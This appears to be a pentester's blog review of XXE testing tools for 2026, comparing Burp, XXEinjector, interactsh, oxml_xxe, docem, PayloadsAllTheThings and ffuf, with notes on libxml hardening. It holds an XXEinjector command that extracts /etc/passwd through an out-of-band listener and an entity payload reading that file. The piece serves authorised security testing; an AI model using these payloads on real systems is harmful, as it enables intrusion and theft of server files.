XXE is the attack class where the tools matter least and the payload craft matters most. After fifteen years of libxml hardening (the default-secure flip in libxml2 2.9.0 in 2012, then progressive tightening across the 2.9.x line and the OS distros that ship it), the textbook recursive parameter-entity pattern often does not fire on modern targets. Direct external entities still do under the right conditions, which is what my own xml-external-entity lab demonstrates. So the realistic 2026 toolchain is a small kit, mostly built around Burp Repeater and an out-of-band listener, with a handful of payload generators for the corners.
If you want the underlying mechanics first, the XXE deep dive covers the variants, and blind XXE over OOB covers the listener-based workflow this article keeps referencing.
The decision matrix
| Tool | Licence | Language | Maintained | Best for | Interface |
|---|---|---|---|---|---|
| Burp Suite (Pro) + Collaborator | Commercial | Java | Active | The primary XXE workflow. Manual payload shaping, OOB listener | GUI + CLI |
| XXEinjector | Unspecified | Ruby | Lightly maintained | Automation of file read + OOB extraction once injection is confirmed | CLI |
| interactsh | MIT | Go | Active | Open-source OOB listener, self-hostable; the Collaborator alternative | CLI + Web |
| oxml_xxe | Unspecified | Ruby (Sinatra) | Stale but useful | Office files (docx, xlsx, pptx), SVG, KML, PDF carriers | Web UI |
| docem | Unspecified | Python | Stale but useful | DOC/XML payload generation; alternative to oxml_xxe | CLI |
| PayloadsAllTheThings (XXE) | MIT | n/a | Active | Canonical payload reference for manual work | Repo |
| ffuf | MIT | Go | Active | Discovery of XML-accepting endpoints before any XXE work | CLI |
Read the table this way: Burp plus an OOB listener is the workflow. XXEinjector is the automation you reach for after the manual proof. Everything else is supporting kit.
1. Burp Suite (Community and Professional) with Collaborator
Site: portswigger.net/burp
Not an XXE tool. The platform every XXE engagement runs through.
XXE is the textbook attack class for an intercepting proxy. The payload is small, the differences between variants are one or two characters of XML, and the only way to iterate efficiently is to drop the request into Repeater, change one entity declaration, and watch the response.
What I like:
- Repeater is the right ergonomic for XXE. Three keystrokes, send, diff. Every modern XXE proof of concept I have shipped to a client lived in Repeater before it lived anywhere else.
- Collaborator (Pro) is the out-of-band listener that just works. Public DNS, HTTP, and SMTP catchers behind a unique subdomain per click. For blind XXE this is the difference between "I think I have it" and "here is the file contents".
- The XML view in Repeater pretty-prints the response and highlights entity expansion failures clearly, which saves time when the parser is rejecting a payload silently.
- Active Scanner (Pro) catches the easy cases without needing a separate tool.
What I do not like:
- Pro is around 500 USD per user per year. For real engagements there is no realistic substitute on the OOB side except interactsh (below).
- Community Collaborator is gone; for self-hosted you are on interactsh.
- Active Scanner sometimes flags entity-expansion behaviour that is actually mitigated, leading to noisy reports if you trust it without a manual proof.
When to use it. Always. Capture the XML-accepting request, send to Repeater, iterate. When you need an OOB callback for blind cases and have Pro, use Collaborator. Otherwise pair with interactsh.
2. XXEinjector
Repo: github.com/enjoiz/XXEinjector
The canonical XXE automation tool. Best after the manual proof, not before.
XXEinjector automates the post-detection part of an XXE engagement: once a manual probe in Burp has confirmed the parser fetches external entities and that out-of-band channels are reachable, XXEinjector handles the file enumeration and extraction loop, including the parameter-entity trick for files that contain characters which would otherwise break the inner XML parse.
What I like:
- It owns the OOB file-read loop end to end. Stand up its built-in HTTP listener, point it at the target, get file contents back without writing your own callback handler.
- Sensible defaults for the common patterns: hosting the malicious DTD, handling the response, retrying on transport failure.
- Good support for direct and indirect (parameter-entity) extraction modes, so when the simple form is blocked you switch modes with a flag.
- Brute-forces system file paths from a wordlist, which is the right primitive for the typical engagement.
What I do not like:
- Maintenance is light. Ruby version drift is a real install headache; budget twenty minutes for
rbenvplus a Gemfile fight on a new box. - Documentation is thin compared to sqlmap. Read the source for the less-obvious flags.
- Does not help you find the injection. You still need Burp and a manual probe to confirm the parser is vulnerable before XXEinjector earns its keep.
- The textbook recursive parameter-entity pattern that XXEinjector defaults to often fails against modern libxml. You will spend time forcing it onto direct-entity mode, which it supports but does not lead with.
When to use it. After a manual proof in Burp confirms the target is exploitable and OOB is reachable. For pulling a long list of system files efficiently. Not for first-touch detection.
Typical command:
ruby XXEinjector.rb \
--host=10.10.14.5 \
--httpport=8888 \
--file=request.txt \
--path=/etc/passwd \
--oob=http \
--verbose3. interactsh
Repo: github.com/projectdiscovery/interactsh

Open-source OOB listener. The realistic alternative when you do not have Burp Pro.
interactsh is ProjectDiscovery's out-of-band interaction gathering server. It catches DNS, HTTP, HTTPS, SMTP, and LDAP callbacks against a unique subdomain you spin up per session. For blind XXE without Burp Pro this is the missing piece.
What I like:
- Self-hostable. Point a wildcard DNS record at a VPS, run the server, and your OOB infrastructure is yours. No third-party logging concerns.
- The public hosted instance (
interactsh-client) works out of the box for cases where self-hosting is overkill. - Catches DNS lookups, which is the only signal that survives on networks that block outbound HTTP from the parser.
- The CLI plays nicely with scripts; you can grep callback events and gate further requests on them.
What I do not like:
- You build your own integration. Where Collaborator is one click in Burp, interactsh is "start the client, paste the subdomain into a payload by hand, watch the terminal".
- The hosted instance moves IPs; some heavily-restricted target networks will not resolve it. For those, self-hosted on a known-good IP is the move.
- No XML pretty-print; you are just watching log lines.
When to use it. Every blind XXE workflow where you do not have Burp Pro, and every engagement where you want self-hosted OOB infrastructure for opsec reasons.
4. oxml_xxe
Repo: github.com/BuffaloWill/oxml_xxe
Office-file XXE payload builder. The shortcut for docx, xlsx, pptx, SVG, KML, and PDF carriers.
A lot of real-world XXE in 2026 is not against a JSON-style API that happens to accept XML. It is against the document-upload endpoint that opens user-supplied Office files (resumes, expense reports, KML uploads on mapping services, SVG uploads on profile pages). oxml_xxe is a small Sinatra app that takes a benign Office file, splices an XXE payload into the right inner XML part, repackages the ZIP container, and hands you back a malicious sample to upload.
What I like:
- Saves the half hour of figuring out which inner XML file inside the ZIP container the parser actually reads. The tool knows.
- Covers the formats that come up most in real engagements: docx, xlsx, pptx, SVG, KML, PDF (some PDF readers parse embedded XML metadata).
- One-shot operation. Upload the source file, paste a payload, download the modified file.
What I do not like:
- Maintenance has been stale for a while. It still works, but new Office format quirks are not tracked.
- Sinatra dependency is a Ruby install you may not want on the engagement box. Run it in a container.
- No CLI mode; the Web UI is the only interface. Awkward for scripted bulk generation.
When to use it. Any time the target accepts an Office or Office-adjacent file format and you suspect server-side XML parsing.
5. docem
Repo: github.com/whitel1st/docem
DOC/XML payload generator. The CLI alternative to oxml_xxe.
docem is the more script-friendly counterpart to oxml_xxe. It is a Python CLI that injects XXE (and XSLT and SSRF) payloads into Office documents and standalone XML files, useful when you want to generate a batch of variants rather than click through a Web UI for each one.
What I like:
- CLI-driven. Loop it in a shell script to fan out a dozen payload variants against the same target.
- Combines XXE with a couple of adjacent classes (XSLT injection, SSRF via XInclude), which is convenient when you are still narrowing down which the target is actually vulnerable to. For XInclude specifically see XInclude attacks.
- Python install is friendlier than Ruby on most engagement boxes.
What I do not like:
- Smaller format coverage than oxml_xxe.
- Maintenance is stale. The code works, but treat it as a finished tool rather than an actively developed one.
- Documentation is sparse; read the examples in the repo and adapt.
When to use it. Bulk payload generation, or when you want a CLI workflow rather than oxml_xxe's Web UI.
6. PayloadsAllTheThings (XXE Injection)
Site: swisskyrepo.github.io/PayloadsAllTheThings
Not a tool. The reference you keep open in a tab.
PayloadsAllTheThings is a community-maintained payload reference. The XXE section is the single best collection of working payloads for the variants that come up in 2026: basic file read, error-based extraction, OOB, parameter-entity tricks, billion-laughs style (Billion Laughs attack), XInclude, and the SOAP-specific corners.
What I like:
- Updated. Variants that stopped working on modern libxml have been pruned; new bypasses get added.
- Each payload is one copy-paste away from running in Burp Repeater.
- Categorisation is sane. You can find the right family in seconds.
What I do not like:
- It is a reference, not a tool. You still bring your own iteration.
- The breadth occasionally hides which payload is the best first try; for that, the xml-external-entity deep dive's "try in this order" list is faster.
When to use it. Every XXE engagement. Have it open in a tab.
7. ffuf
Repo: github.com/ffuf/ffuf
Not an XXE tool. The endpoint-discovery step before XXE work starts.
You cannot exploit an XML parser you have not found. ffuf is the fast Go fuzzer I use to enumerate endpoints that accept XML, by combining a path wordlist with Content-Type: application/xml and watching for responses that differ from the JSON or form-encoded version of the same probe.
What I like:
- Fast. The HTTP throughput is what you want for a real wordlist.
- Header and body fuzzing in the same tool, so the "does this endpoint accept XML at all" probe is one ffuf command.
- The match/filter options let you isolate the XML-accepting endpoints quickly: filter on status, body size, or words in the response.
What I do not like:
- Not XXE-aware. It just finds endpoints; you still bring the payload.
- Default rate hits real targets hard; tune with
-ratefor any production-adjacent system.
When to use it. First step of an engagement before you have a known XML-accepting endpoint. Then drop the request into Burp and start the manual probe.
A reality check on libxml hardening
This section matters more than the tool choices above.
libxml2 2.9.0 (September 2012) flipped the default for XML_PARSE_NOENT and stopped expanding external entities by default. Every libxml2 release in the 2.9.x line since has tightened further: tighter limits on entity expansion size, recursive parameter-entity rejection in default mode, stricter DTD handling. The major OS distros ship 2.9.x or newer everywhere that matters in 2026.
What this means in practice:
- The textbook recursive parameter-entity payload you find in older tutorials often fails silently on a modern parser. The parser is doing the right thing.
- Direct external entities (the simple
<!ENTITY xxe SYSTEM "file:///etc/passwd">form) still work when the application explicitly enables external entity resolution, which a surprising number of applications still do (legacy code, third-party libraries, custom wrappers around SAX/DOM that flip the flag back on). - Java parsers are an independent story: the platform-default secure-by-default flags came in JDK 8u20+ for some parsers and later for others, and many production Java services still construct parsers without setting
FEATURE_SECURE_PROCESSING. Pure-Java XXE is alive and well. - .NET parsers are a similar story:
XmlReaderis safe by default in modern .NET, but olderXmlDocumentandXmlTextReaderpatterns from .NET Framework code are not.
The honest assessment: XXE is not as broadly exploitable as it was in 2014, but it is far from dead. The right 2026 expectation is "the easy cases are largely fixed, the corner cases pay rent". Tool choice reflects this: less automation than SQLi, more manual craft. See web application security vulnerabilities for where XXE sits in the broader map.
What I do not recommend
"XXE finder" scanners that submit one payload
Several scanners (some in commercial pentest suites, some open-source one-shots) define "XXE detection" as: submit <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> once, check for root:x:0:0 in the response, move on. That probe misses every blind variant, every parameter-entity variant, every Office-file carrier, every endpoint that strips DOCTYPE before parsing. The false-negative rate is high enough that running these tools gives you a confidently wrong answer.
Skip them.
Abandoned single-shot XXE tools
A handful of XXE-specific scripts had a moment around 2014-2016 and have not been touched since. They generally hard-code a single payload pattern that no longer fires against current libxml. The payloads in PayloadsAllTheThings cover the same ground and stay current.
Generic "all-in-one pentest GUIs" that include XXE
Same critique as for the SQLi listicle: a feature checkbox marked "XXE" usually means a single hard-coded payload that catches the easy cases and misses everything else. If you want XXE done well, do it manually in Burp.
Tools I dropped from this year's list
- XXEFox / single-author XXE GUIs. A few of these existed; none have meaningful activity in the last three years, and the patterns they encode predate the libxml 2.9.x tightening.
- Generic XML fuzzers. Useful occasionally, but the discovery-step value is better served by ffuf plus a manual probe, and the exploit-step value is better served by hand-crafted payloads in Burp.
Which tool should I use? (Decision tree)
A short flow for the common cases:
- Have you found an XML-accepting endpoint yet?
- No. ffuf to enumerate, then a manual probe in Burp to confirm.
- Yes. Skip to the next step.
- Is the input format a raw XML body, or an Office/SVG/KML upload?
- Raw XML. Burp Repeater with payloads from PayloadsAllTheThings.
- Office file or container format. oxml_xxe for one-off, docem for batches.
- Is the response reflecting parser output (so you can see file contents directly)?
- Yes. Direct external entity payload in Burp. If it works, you are done; if it does not, the parser is hardened and you escalate to OOB.
- No (blind). OOB workflow. Burp Collaborator if you have Pro, interactsh if you do not. See blind XXE over OOB.
- Confirmed exploitable and want to bulk-extract files?
- XXEinjector with
--oob=http, pointed at a file-path wordlist.
- XXEinjector with
A note on the year stamp
I refresh this list every twelve months. The slug stays stable (best-xxe-tools-2026 is a redirect target you can rely on; future years update the H1 and title). Tools added, dropped, and re-ranked here will appear in the next refresh with a short changelog at the top.
Where to go next
- XML External Entity (XXE) Injection: variants, exploitation, and defence for the underlying mechanics
- Blind XXE over out-of-band channels for the OOB workflow this article assumes
- XInclude attacks for the close-cousin attack when DOCTYPE is stripped
- Billion Laughs attack for the denial-of-service variant
- Web application security vulnerabilities taxonomy for the broader map
Sources
Authoritative references this article was fact-checked against.
- XXEinjector, official repositorygithub.com
- interactsh, ProjectDiscoverygithub.com
- oxml_xxe, official repositorygithub.com
- Burp Suite, PortSwiggerportswigger.net
- PayloadsAllTheThings, XXE Injectionswisskyrepo.github.io











